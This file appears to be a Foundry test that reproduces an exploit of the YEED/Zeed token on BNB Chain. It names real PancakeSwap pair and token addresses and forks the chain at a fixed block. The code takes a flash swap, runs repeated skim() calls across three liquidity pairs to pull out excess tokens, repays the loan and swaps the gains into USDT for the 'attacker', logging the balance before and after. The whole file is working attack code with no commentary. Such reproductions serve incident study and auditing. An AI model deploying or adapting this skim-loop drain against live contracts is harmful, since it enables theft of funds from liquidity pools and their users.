Zeed_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

contract ContractTest is DSTest {
  IPancakeRouter pancakeRouter =
    IPancakeRouter(payable(0x6CD71A07E72C514f5d511651F6808c6395353968));
  IPancakePair usdtYeedHoSwapPair =
    IPancakePair(0x33d5e574Bd1EBf3Ceb693319C2e276DaBE388399);
  IPancakePair usdtYeedPair =
    IPancakePair(0xA7741d6b60A64b2AaE8b52186adeA77b1ca05054);
  IPancakePair hoYeedPair =
    IPancakePair(0xbC70FA7aea50B5AD54Df1edD7Ed31601C350A91a);
  IPancakePair zeedYeedPair =
    IPancakePair(0x8893610232C87f4a38DC9B5Ab67cbc331dC615d6);
  IERC20 yeed = IERC20(0xe7748FCe1D1e2f2Fd2dDdB5074bD074745dDa8Ea);
  IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
  CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

  function setUp() public {
    cheats.createSelectFork("bsc", 17132514); // fork bsc at block 17132514
  }

  function testExploit() public {
    yeed.approve(address(pancakeRouter), type(uint256).max);
    (uint112 _reserve0, uint112 _reserve1, ) = usdtYeedHoSwapPair.getReserves();
    usdtYeedHoSwapPair.swap(0, _reserve1 - 1, address(this), new bytes(1));
    emit log_named_uint(
      "Before exploit, USDT balance of attacker:",
      usdt.balanceOf(msg.sender)
    );
    address[] memory path = new address[](3);
    path[0] = address(yeed);
    path[1] = hoYeedPair.token0();
    path[2] = usdtYeedPair.token0();
    pancakeRouter.swapExactTokensForTokens(
      yeed.balanceOf(address(this)),
      0,
      path,
      msg.sender,
      block.timestamp + 120
    );
    emit log_named_uint(
      "After exploit, USDT balance of attacker:",
      usdt.balanceOf(msg.sender)
    );
  }

  function pancakeCall(
    address sender,
    uint256 amount0,
    uint256 amount1,
    bytes calldata data
  ) public {
    yeed.transfer(address(usdtYeedPair), amount1);
    for (uint256 i = 0; i < 10; i++) {
      usdtYeedPair.skim(address(hoYeedPair));
      hoYeedPair.skim(address(zeedYeedPair));
      zeedYeedPair.skim(address(usdtYeedPair));
    }

    usdtYeedPair.skim(address(this));
    hoYeedPair.skim(address(this));
    zeedYeedPair.skim(address(this));

    yeed.transfer(msg.sender, (amount1 * 1000) / 997);
  }
}